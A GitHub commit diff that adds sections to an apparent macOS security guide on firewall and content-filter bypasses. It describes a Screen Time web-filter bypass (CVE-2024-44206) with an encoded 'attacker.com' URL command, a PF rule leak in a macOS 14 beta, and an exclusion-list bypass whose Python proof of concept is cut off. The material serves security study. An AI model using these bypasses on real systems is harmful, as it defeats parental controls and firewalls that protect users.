You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
### Web content filter (Screen Time) bypass – **CVE-2024-44206**
87
+
In July 2024 Apple patched a critical bug in Safari/WebKit that broke the system-wide “Web content filter” used by Screen Time parental controls.
88
+
A specially crafted URI (for example, with double URL-encoded “://”) is not recognised by the Screen Time ACL but is accepted by WebKit, so the request is sent out unfiltered. Any process that can open a URL (including sandboxed or unsigned code) can therefore reach domains that are explicitly blocked by the user or an MDM profile.
89
+
90
+
Practical test (un-patched system):
91
+
92
+
```bash
93
+
open "http://attacker%2Ecom%2F./"# should be blocked by Screen Time
94
+
# if the patch is missing Safari will happily load the page
95
+
```
96
+
97
+
### Packet Filter (PF) rule-ordering bug in early macOS 14 “Sonoma”
98
+
During the macOS 14 beta cycle Apple introduced a regression in the userspace wrapper around **`pfctl`**.
99
+
Rules that were added with the `quick` keyword (used by many VPN kill-switches) were silently ignored, causing traffic leaks even when a VPN/firewall GUI reported *blocked*. The bug was confirmed by several VPN vendors and fixed in RC 2 (build 23A344).
100
+
101
+
Quick leak-check:
102
+
103
+
```bash
104
+
pfctl -sr | grep quick # rules are present…
105
+
sudo tcpdump -n -i en0 not port 53 # …but packets still leave the interface
Before macOS 11.2 the **`ContentFilterExclusionList`** allowed ~50 Apple binaries such as **`nsurlsessiond`** and the App Store to bypass all socket-filter firewalls implemented with the Network Extension framework (LuLu, Little Snitch, etc.).
110
+
Malware could simply spawn an excluded process—or inject code into it—and tunnel its own traffic over the already-allowed socket. Apple completely removed the exclusion list in macOS 11.2, but the technique is still relevant on systems that cannot be upgraded.
111
+
112
+
Example proof-of-concept (pre-11.2):
113
+
114
+
```python
115
+
import subprocess, socket
116
+
# Launch excluded App Store helper (path collapsed for clarity)
0 commit comments